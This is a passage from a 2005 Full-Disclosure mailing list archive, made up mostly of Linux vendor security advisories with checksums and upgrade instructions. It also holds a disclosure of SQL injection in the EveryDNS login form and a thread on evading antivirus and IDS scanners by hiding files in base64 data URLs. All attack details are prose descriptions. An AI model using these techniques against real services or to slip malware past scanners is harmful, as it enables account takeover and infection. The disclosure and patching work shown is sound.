http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/unarj-2.63a-4.0.7.3.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/unarj-2.63a-4.0.7.3.1.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/unarj-2.63a-4.0.9.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/unarj-2.63a-4.0.9.1.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/unarj-2.63a-4.1.1.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/unarj-2.63a-4.1.1.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- 8b07f5d8a514324da4097fa5e5fe45ab693fba54 redhat/7.3/updates/i386/unarj-2.63a-4.0.7.3.1.legacy.i386.rpm 07a12c321015017d0813cb107758df017119d9ac redhat/7.3/updates/SRPMS/unarj-2.63a-4.0.7.3.1.legacy.src.rpm a6151b99a058e254d76de4fe73b769fe0978f851 redhat/9/updates/i386/unarj-2.63a-4.0.9.1.legacy.i386.rpm b88dc2c7dad960fdf9fe5392ef4715deca699287 redhat/9/updates/SRPMS/unarj-2.63a-4.0.9.1.legacy.src.rpm ea630f037afc90ab60cc85e230b64e54141535c9 fedora/1/updates/i386/unarj-2.63a-4.1.1.legacy.i386.rpm d44d03bc24fc9459bd0bd4ed42d7802ca53d74c3 fedora/1/updates/SRPMS/unarj-2.63a-4.1.1.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0947 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1027 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/ff5a1770/attachment.bin From security at linux-mandrake.com Wed Feb 2 04:16:13 2005 From: security at linux-mandrake.com (Mandrakelinux Security Team) Date: Tue, 01 Feb 2005 21:16:13 -0700 Subject: [Full-Disclosure] MDKSA-2005:026 - Updated imap packages fix authentication vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: imap Advisory ID: MDKSA-2005:026 Date: February 1st, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A vulnerability was discovered in the CRAM-MD5 authentication in UW-IMAP where, on the fourth failed authentication attempt, a user would be able to access the IMAP server regardless. This problem exists only if you are using CRAM-MD5 authentication and have an /etc/cram-md5.pwd file. This is not the default setup. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://www.kb.cert.org/vuls/id/702777 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: bb07b8f18a3361462a84e87b80b57cf0 10.0/RPMS/imap-2002d-8.1.100mdk.i586.rpm 77577fab50f1ec4a12f89aefb7f376cc 10.0/RPMS/imap-devel-2002d-8.1.100mdk.i586.rpm 76008b605f6385d31cb9e4b9666b4fa5 10.0/RPMS/imap-utils-2002d-8.1.100mdk.i586.rpm 058e7653cdfb864f533b1d075ece1416 10.0/SRPMS/imap-2002d-8.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: cb9aae48e0810a817ec192c51eaf03a8 amd64/10.0/RPMS/imap-2002d-8.1.100mdk.amd64.rpm 66dfb869b52990741f2ad7e938ee8e8b amd64/10.0/RPMS/imap-devel-2002d-8.1.100mdk.amd64.rpm 121273e33367dfff82de8e1bc12f377f amd64/10.0/RPMS/imap-utils-2002d-8.1.100mdk.amd64.rpm 058e7653cdfb864f533b1d075ece1416 amd64/10.0/SRPMS/imap-2002d-8.1.100mdk.src.rpm Mandrakelinux 10.1: 3813c3cebdadfd80ce30f6082b0df8fb 10.1/RPMS/imap-2004-2.1.101mdk.i586.rpm a0ca6f62229b328d0fdfa29cad58b379 10.1/RPMS/imap-devel-2004-2.1.101mdk.i586.rpm 3ea67ea07c660b7dceec0f47e55476ab 10.1/RPMS/imap-utils-2004-2.1.101mdk.i586.rpm 3ff0d1358d1966341193d00caeef1316 10.1/RPMS/libc-client-php0-2004-2.1.101mdk.i586.rpm 3a1fc8e65376cf679d4e29c477020288 10.1/RPMS/libc-client-php0-devel-2004-2.1.101mdk.i586.rpm d156e467dccca32c84cf4931e3377c57 10.1/SRPMS/imap-2004-2.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 45872ee039ab6ac87f2b68524d851296 x86_64/10.1/RPMS/imap-2004-2.1.101mdk.x86_64.rpm 67c7d1d77e57a1888d70c9730bbeadfc x86_64/10.1/RPMS/imap-devel-2004-2.1.101mdk.x86_64.rpm 28bd787cf5559e5a1e8a17bfbb48a58b x86_64/10.1/RPMS/imap-utils-2004-2.1.101mdk.x86_64.rpm 3c7ee6f3dfc7c04d297d4006616d12fe x86_64/10.1/RPMS/lib64c-client-php0-2004-2.1.101mdk.x86_64.rpm 2c428817976c7fbdf098f2dc8ec6b1a0 x86_64/10.1/RPMS/lib64c-client-php0-devel-2004-2.1.101mdk.x86_64.rpm d156e467dccca32c84cf4931e3377c57 x86_64/10.1/SRPMS/imap-2004-2.1.101mdk.src.rpm Corporate Server 3.0: 46e894a9f155c9a64e8f02c089b44cfa corporate/3.0/RPMS/imap-2002d-8.1.C30mdk.i586.rpm 1f27b80c3057464677d1b6418a2818c7 corporate/3.0/RPMS/imap-devel-2002d-8.1.C30mdk.i586.rpm e8d0ea837452b521fda5a837a83ceeeb corporate/3.0/RPMS/imap-utils-2002d-8.1.C30mdk.i586.rpm b20b866e08d8f579db6ae6745b525d29 corporate/3.0/SRPMS/imap-2002d-8.1.C30mdk.src.rpm Corporate Server 3.0/x86_64: 0d4344c88bbb2cdc49a13a085075aadc x86_64/corporate/3.0/RPMS/imap-2002d-8.1.C30mdk.x86_64.rpm c151fd6e15057870c21e33a3f76bc63c x86_64/corporate/3.0/RPMS/imap-devel-2002d-8.1.C30mdk.x86_64.rpm de4fb51bcf679289848f91e3bc7ac59d x86_64/corporate/3.0/RPMS/imap-utils-2002d-8.1.C30mdk.x86_64.rpm b20b866e08d8f579db6ae6745b525d29 x86_64/corporate/3.0/SRPMS/imap-2002d-8.1.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCAFQNmqjQ0CJFipgRAgxbAKCJ0Q7YcsY52sGRD3VWx7W+iKQvhACgoGVK uKaCqA4c3USiPOeBQXH/xhk= =1bgr -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Feb 2 04:26:28 2005 From: security at linux-mandrake.com (Mandrakelinux Security Team) Date: Tue, 01 Feb 2005 21:26:28 -0700 Subject: [Full-Disclosure] MDKSA-2005:027 - Updated chbg packages fix vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: chbg Advisory ID: MDKSA-2005:027 Date: February 1st, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A vulnerability in chbg was discovered by Danny Lungstrom. A maliciously-crafted configuration/scenario file could overflow a buffer leading to the potential execution of arbitrary code. The updated packages are patched to prevent the problem. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1264 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: ad75998c3c755b53d14e522e11bcdd51 10.0/RPMS/chbg-1.5-8.1.100mdk.i586.rpm dc4f685d1d45cd2955fe28752561ede0 10.0/SRPMS/chbg-1.5-8.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: dc64f6024563bf3b798d264e9263dfe2 amd64/10.0/RPMS/chbg-1.5-8.1.100mdk.amd64.rpm dc4f685d1d45cd2955fe28752561ede0 amd64/10.0/SRPMS/chbg-1.5-8.1.100mdk.src.rpm Mandrakelinux 10.1: 31fc57a52b23d8cb0392691b10baa1d3 10.1/RPMS/chbg-1.5-8.1.101mdk.i586.rpm b82eab41d3a1291378c3021b9df0b881 10.1/SRPMS/chbg-1.5-8.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 7f1b1064b15f6ccb63cce6b1210e6166 x86_64/10.1/RPMS/chbg-1.5-8.1.101mdk.x86_64.rpm b82eab41d3a1291378c3021b9df0b881 x86_64/10.1/SRPMS/chbg-1.5-8.1.101mdk.src.rpm Corporate Server 3.0: 2342c2c9f3077fb27797d8a581c16ce5 corporate/3.0/RPMS/chbg-1.5-8.1.C30mdk.i586.rpm d403782e9889a596d63c08c54515dc6d corporate/3.0/SRPMS/chbg-1.5-8.1.C30mdk.src.rpm Corporate Server 3.0/x86_64: d1b766e30b125606851bdffc19df67c1 x86_64/corporate/3.0/RPMS/chbg-1.5-8.1.C30mdk.x86_64.rpm d403782e9889a596d63c08c54515dc6d x86_64/corporate/3.0/SRPMS/chbg-1.5-8.1.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCAFZ0mqjQ0CJFipgRAu5hAJ4wZkSfnaALI2FibjrdqFZq6dLkRgCgvbQI 62KzAr1BKaBKUDmUWe3ozrY= =o3M0 -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Feb 2 04:31:31 2005 From: security at linux-mandrake.com (Mandrakelinux Security Team) Date: Tue, 01 Feb 2005 21:31:31 -0700 Subject: [Full-Disclosure] MDKSA-2005:028 - Updated ncpfs packages fix vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: ncpfs Advisory ID: MDKSA-2005:028 Date: February 1st, 2005 Affected versions: 10.0, 10.1, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: Erik Sjolund discovered two vulnerabilities in programs bundled with ncpfs. Due to a flaw in nwclient.c, utilities that use the NetWare client functions insecurely access files with elevated privileges (CAN-2005-0013), and there is a potentially exploitable buffer overflow in the ncplogin program (CAN-2005-0014). As well, an older vulnerability found by Karol Wiesek is corrected with these new versions of ncpfs. Karol found a buffer overflow in the handling of the '-T' option in the ncplogin and ncpmap utilities (CAN-2004-1079). _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1079 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0013 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0014 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 26507b12e312d06ad7a0250fd29c2fc9 10.0/RPMS/ipxutils-2.2.6-0.1.100mdk.i586.rpm 31054e1560e02396af427feb8d0bb9e0 10.0/RPMS/libncpfs2.3-2.2.6-0.1.100mdk.i586.rpm ae8ea25eebe37782e4315da2ea4ac469 10.0/RPMS/libncpfs2.3-devel-2.2.6-0.1.100mdk.i586.rpm b3988245505c1bf1bf4f5da5c502f22a 10.0/RPMS/ncpfs-2.2.6-0.1.100mdk.i586.rpm d841a4aac6f48ef283dbe84f7385b2cb 10.0/SRPMS/ncpfs-2.2.6-0.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 9097da50d267751a64f5a9533f84f385 amd64/10.0/RPMS/ipxutils-2.2.6-0.1.100mdk.amd64.rpm acec5bc11c51a724002860e7e2c9b741 amd64/10.0/RPMS/lib64ncpfs2.3-2.2.6-0.1.100mdk.amd64.rpm dc21cc53b30d974ce146da962edde2b2 amd64/10.0/RPMS/lib64ncpfs2.3-devel-2.2.6-0.1.100mdk.amd64.rpm af24f5eca27924522f8c84ae0f39dc45 amd64/10.0/RPMS/ncpfs-2.2.6-0.1.100mdk.amd64.rpm d841a4aac6f48ef283dbe84f7385b2cb amd64/10.0/SRPMS/ncpfs-2.2.6-0.1.100mdk.src.rpm Mandrakelinux 10.1: 9a6f8acfb1290af92171a23696cc7398 10.1/RPMS/ipxutils-2.2.6-0.1.101mdk.i586.rpm ad4eba0c498de9884c1e7f3bb8f14452 10.1/RPMS/libncpfs2.3-2.2.6-0.1.101mdk.i586.rpm a7ad4a7f0ce4cb2723dc5d48d0ddcc21 10.1/RPMS/libncpfs2.3-devel-2.2.6-0.1.101mdk.i586.rpm d283bbbac0839f1866909efc4ffdb62d 10.1/RPMS/ncpfs-2.2.6-0.1.101mdk.i586.rpm 887f5d5c3f2d19f7c2cd64e74a80391e 10.1/SRPMS/ncpfs-2.2.6-0.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 3eeb4ea7fe45ec1f58d4ae5b523627fe x86_64/10.1/RPMS/ipxutils-2.2.6-0.1.101mdk.x86_64.rpm c3758043e2bd3ddc24f5c3e34be2cc93 x86_64/10.1/RPMS/lib64ncpfs2.3-2.2.6-0.1.101mdk.x86_64.rpm 11539d55f026d1ef9907e27ffd8d4cc2 x86_64/10.1/RPMS/lib64ncpfs2.3-devel-2.2.6-0.1.101mdk.x86_64.rpm a10864210cf07d875b770b3f34caa47d x86_64/10.1/RPMS/ncpfs-2.2.6-0.1.101mdk.x86_64.rpm 887f5d5c3f2d19f7c2cd64e74a80391e x86_64/10.1/SRPMS/ncpfs-2.2.6-0.1.101mdk.src.rpm Corporate Server 2.1: 8fe930fd368a97b4f20ae4bca84a9761 corporate/2.1/RPMS/ipxutils-2.2.6-0.1.C21mdk.i586.rpm fc4d61b54dd07f64aa613bdf7a4016a0 corporate/2.1/RPMS/ncpfs-2.2.6-0.1.C21mdk.i586.rpm 0f6237f2270b31c7e1bcb38b01ba5017 corporate/2.1/SRPMS/ncpfs-2.2.6-0.1.C21mdk.src.rpm Corporate Server 2.1/x86_64: 8853eb122b8794c8a9a6e8f304deab7b x86_64/corporate/2.1/RPMS/ipxutils-2.2.6-0.1.C21mdk.x86_64.rpm 301cd5bb7f068467f4e35752c7f6dc0a x86_64/corporate/2.1/RPMS/ncpfs-2.2.6-0.1.C21mdk.x86_64.rpm 0f6237f2270b31c7e1bcb38b01ba5017 x86_64/corporate/2.1/SRPMS/ncpfs-2.2.6-0.1.C21mdk.src.rpm Corporate Server 3.0: a59c9cf6fa986df07406af63d204c01d corporate/3.0/RPMS/ipxutils-2.2.6-0.1.C30mdk.i586.rpm 4cca91d9bffdb6989edc498fa5545542 corporate/3.0/RPMS/libncpfs2.3-2.2.6-0.1.C30mdk.i586.rpm 01221b951c46c7c989c67edddaf988c2 corporate/3.0/RPMS/libncpfs2.3-devel-2.2.6-0.1.C30mdk.i586.rpm eb433fe9482cbb74634169330e51720c corporate/3.0/RPMS/ncpfs-2.2.6-0.1.C30mdk.i586.rpm 3fe66a2f8e1fa32dea3cdf95557c6b41 corporate/3.0/SRPMS/ncpfs-2.2.6-0.1.C30mdk.src.rpm Corporate Server 3.0/x86_64: 5ef7e7e41733515a9cf2dcdbb7da2077 x86_64/corporate/3.0/RPMS/ipxutils-2.2.6-0.1.C30mdk.x86_64.rpm 5e43e4f0528b48d44fdcecd8daa41301 x86_64/corporate/3.0/RPMS/lib64ncpfs2.3-2.2.6-0.1.C30mdk.x86_64.rpm ab83b39e1df11230e86973816092f4ab x86_64/corporate/3.0/RPMS/lib64ncpfs2.3-devel-2.2.6-0.1.C30mdk.x86_64.rpm 2e29f744a8757ff7801c03b73ee8ace6 x86_64/corporate/3.0/RPMS/ncpfs-2.2.6-0.1.C30mdk.x86_64.rpm 3fe66a2f8e1fa32dea3cdf95557c6b41 x86_64/corporate/3.0/SRPMS/ncpfs-2.2.6-0.1.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCAFejmqjQ0CJFipgRAm1/AJ4ig5l+GCsCbJFZ9xnQX/2S8MEMbgCfcmLi RdaWXMAgpI1QqC+I4NTcKnE= =kAGY -----END PGP SIGNATURE----- From enune at fribble.net Wed Feb 2 05:42:21 2005 From: enune at fribble.net (Calum Power) Date: Wed, 2 Feb 2005 16:42:21 +1100 (EST) Subject: [Full-Disclosure] SQL injection in EveryDNS.net Service Message-ID: <1499.210.15.193.190.1107322941.squirrel@210.15.193.190> The following advisory is also mirrored at http://www.fribble.net/security.php --------------- 02/02/2005 --------------- -- Fribble.net Security Announcement -- ------------------------------------------ Security Advisory: SQL injection and path disclosure in EveryDNS.net service Discovered by: Calum Power [Enune] Versions Affected: <= 24/01/2005 Unaffected versions: > 25/01/2005 Product Description: EveryDNS.net is a free, online DNS service. From vendor website: "We provide static DNS services as well as many advanced services such as Dynamic DNS resolution, Secondary service, AXFR service, and domain2web redirection." Summary: * SQL Injection vulnerability may lead to viewing of secure information, including access to private DNS accounts. * Path disclosure provides privileged information to potentially malicious users, which could be used in an attack. Details: The main EveryDNS website script, 'index.php' has a blue login form in the bottom left corner of the page. All data in this form is sanitized, except for the 'username' field. When unexpected characters, such as single-quotation marks are submitted using this field, a SQL error may occur, disclosing the location of the EveryDNS.net scripts on their webserver. Additionally, due to the unfiltered nature of this form field, a malicious user may be able to manipulate the database query into providing them with access and/or information they would not otherwise be authorized to see. Impact: Critical This vulnerability could lead to the compromise of private DNS accounts, including records and zone information. If a malicious user was to gain access to a private account, he/she would be able to 'hijack' the domain via the redirection of the domain records to an internet server under their control. Credit: This vulnerability was discovered by Calum Power [Enune] on the 24th day of January 2005. The vendor was subsequently notified and the hole fixed within 24-hours. Calum would like to thank David Ulevitch for his prompt response to this advisory, and commends the EveryDNS service on it's great service to the internet community. Copyright: 2005 Calum Power (Enune) - www.fribble.net This advisory may be quoted, transmitted or copied in any way, providing this original author credit is kept intact. From jaervosz at gentoo.org Wed Feb 2 10:24:09 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Wed, 2 Feb 2005 11:24:09 +0100 Subject: [Full-Disclosure] [ GLSA 200502-02 ] UW IMAP: CRAM-MD5 authentication bypass Message-ID: <200502021124.19737.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: UW IMAP: CRAM-MD5 authentication bypass Date: February 02, 2005 Bugs: #79874 ID: 200502-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== UW IMAP contains a vulnerability in the code handling CRAM-MD5 authentication allowing authentication bypass. Background ========== UW IMAP is the University of Washington IMAP toolkit which includes POP3 and IMAP daemons. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-mail/uw-imap <= 2004a >= 2004b Description =========== A logic bug in the code handling CRAM-MD5 authentication incorrectly specifies the condition for successful authentication. Impact ====== An attacker could exploit this vulnerability to authenticate as any mail user on a server with CRAM-MD5 authentication enabled. Workaround ========== Disable CRAM-MD5 authentication. Resolution ========== All UW IMAP users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-mail/uw-imap-2004b" References ========== [ 1 ] US-CERT VU#702777 http://www.kb.cert.org/vuls/id/702777 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-02.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/60c9deac/attachment.bin From Shadow333 at gmx.at Wed Feb 2 11:57:09 2005 From: Shadow333 at gmx.at (Oliver Leitner) Date: Wed, 2 Feb 2005 12:57:09 +0100 Subject: [Full-Disclosure] some interresting project i just stumbled across... Message-ID: <200502021202.j12C2Xrs016786@lists.netsys.com> I was just surfing a bit around and came across this interresting sounding project. http://entropy.stop1984.com/ here is a short description of what it is from their page: "ENTROPY stands for Emerging Network To Reduce Orwellian Potency Yield and as such describes the main goal of the project. * ENTROPY is developed as a response to increasing censorship and surveillance in the internet. The program connects your computer to a network of machines which all run this software. The ENTROPY network is running parallel to the WWW and also other internet services like FTP, email, ICQ. etc. * For the user the ENTROPY network looks like a collection of WWW pages. The difference to the WWW however is that there are no accesses to central servers. And this is why there is no site operator who could log who downloaded what and when. Every computer taking part in the ENTROPY network (every node) is at the same time server, router for other nodes, caching proxy and client for the user: that is You. * After you gained some experience with the ENTROPY network, there are command line tools for you to insert whole directory trees into the network as a ENTROPY site. So ENTROPY does for you what a webspace provider does for you in the WWW - but without the storage and bandwidth costs and without any regulation or policy as to what kind of content you are allowed to publish. Everyone can contribute his own ENTROPY site for everybody else to browse through. The contents is stored in a distributed manner across all available and reachable nodes and no one can find out about who put up what contents into the network [1]. Even if your node is not actively running, your contents can be retrieved by others -- without knowing that it was actually you who published the files. Of course this is only true if you do not publish your name (or leave your name or other personal data in the files you publish) Have fun, Juergen " so i thought i might share the url with you peoples. If you have any suggestions for the project, contact em, and not me, i am not a developer there) Greetings Oliver Leitner Technical Staff http://www.shells.at -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From koon at gentoo.org Wed Feb 2 13:06:37 2005 From: koon at gentoo.org (Thierry Carrez) Date: Wed, 02 Feb 2005 14:06:37 +0100 Subject: [Full-Disclosure] [ GLSA 200502-03 ] enscript: Multiple vulnerabilities Message-ID: <4200D05D.40003@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: enscript: Multiple vulnerabilities Date: February 02, 2005 Bugs: #77408 ID: 200502-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== enscript suffers from vulnerabilities and design flaws, potentially resulting in the execution of arbitrary code. Background ========== enscript is a powerful ASCII to PostScript file converter. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/enscript < 1.6.3-r3 >= 1.6.3-r3 Description =========== Erik Sjolund discovered several issues in enscript: it suffers from several buffer overflows (CAN-2004-1186), quotes and shell escape characters are insufficiently sanitized in filenames (CAN-2004-1185), and it supported taking input from an arbitrary command pipe, with unwanted side effects (CAN-2004-1184). Impact ====== An attacker could design malicious files or input data which, once feeded into enscript, would trigger the execution of arbitrary code with the rights of the user running enscript. Workaround ========== There is no known workaround at this time. Resolution ========== All enscript users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/enscript-1.6.3-r3" References ========== [ 1 ] CAN-2004-1184 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1184 [ 2 ] CAN-2004-1185 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1185 [ 3 ] CAN-2004-1186 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1186 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-03.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/e899a9b6/attachment.bin From lists at intrusense.com Wed Feb 2 13:33:18 2005 From: lists at intrusense.com (Darren Bounds) Date: Wed, 2 Feb 2005 08:33:18 -0500 Subject: [Full-Disclosure] [ GLSA 200501-46 ] ClamAV: Multiple issues In-Reply-To: <20050201224120.GA25776@nul.ereomega.net> References: <200501312041.56926.jaervosz@gentoo.org> <1107248958.18396.9.camel@syntax> <20050201224120.GA25776@nul.ereomega.net> Message-ID: Dack, That depends on the payload. While browsers like Thunderbird, Mail.app and Opera mail and Konquer will render RFC 2397 formatted images, only Opera mail supports and executes RFC 2397 formatted application data. IE does not support for RFC 2397, hense neither does Outlook. Please be advised that this issue does not only affect AV systems, but also IDS and IPS technologies. Since my original advisory Jan 10th, (www.intrusense.com/av-bypass/image-bypass-advisory.txt), CheckPoint, TippingPoint and ClamAV have added support to either detect malicious RFC 2397 formatted content, or flat out block it. There's certainly room for improvement, but it's a start. Here is the response from Trend, dated Jan 24th, 2005: Dear Darren, Here is the Official Statement from our Scan Engine Team. 1. Explanation of the vulnerability This vulnerability arise because our products (and this includes the engine) does not support RFC 2397 (The "data" URL scheme). This RFC permits the embedding of files (be it a JPEG, EXE, or other files) in an HTML file. A file can be embedded in an HTML file by encoding it using base64. This was tested using a JPEG file and an EICAR file. The JPEG file is detected as EXPL_MS04-028.A, but when embedded in an HTML, the JPEG file is not detected. The embedded EICAR file is also not detected. Link to the original FD post. 2. How it affects the Trend Products Trend Micro Products cannot not detect images, or any malicious files, encoded in base64 that are embedded in HTML files (in accordance with RFC 2397). 3. How do we solve it. - Ask users to apply the patch. - We can create file-specific signatures for any threat that uses this vulnerability - Scan Engine update to support RFC 2397 4. Schedules of releases, milestones, etc - File-specific detection is already available anytime but it is sample dependent. We need to have a sample before we can create a solution. - Scan Engine development to fix this will start very soon. We are estimating around 4-6 weeks development. Ill get back to you on the exact schedule. Thank you, Darren Bounds Intrusense LLC. http://www.intrusense.com -- Intrusense - Securing Business As Usual On Feb 1, 2005, at 5:41 PM, Dack wrote: >>> By sending a base64 encoded image file in a URL an attacker could >>> evade >>> virus scanning. >> It's somewhat harsh to single out ClamAV for this issue. AFAICT, the >> only two virus scanners that do currently protect against this are > > What mail clients, if any, would execute a virus encoded in this > manner? > Is this a gaping hole in other mail anti-virus systems, or do most > clients just ignore this kind of data? From blueboar at thievco.com Wed Feb 2 10:58:30 2005 From: blueboar at thievco.com (blueboar at thievco.com) Date: Wed, 2 Feb 2005 14:58:30 +0400 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200502021347.j12Dl9rs025129@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/6423e07f/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 29568 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/6423e07f/attachment.wav From martin.pitt at canonical.com Wed Feb 2 13:57:49 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Wed, 2 Feb 2005 14:57:49 +0100 Subject: [Full-Disclosure] [USN-72-1] Perl vulnerabilities Message-ID: <20050202135749.GA25353@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-72-1 February 02, 2005 perl vulnerabilities CAN-2005-0155, CAN-2005-0156 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: perl The problem can be corrected by upgrading the affected package to version 5.8.4-2ubuntu0.3. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Two exploitable 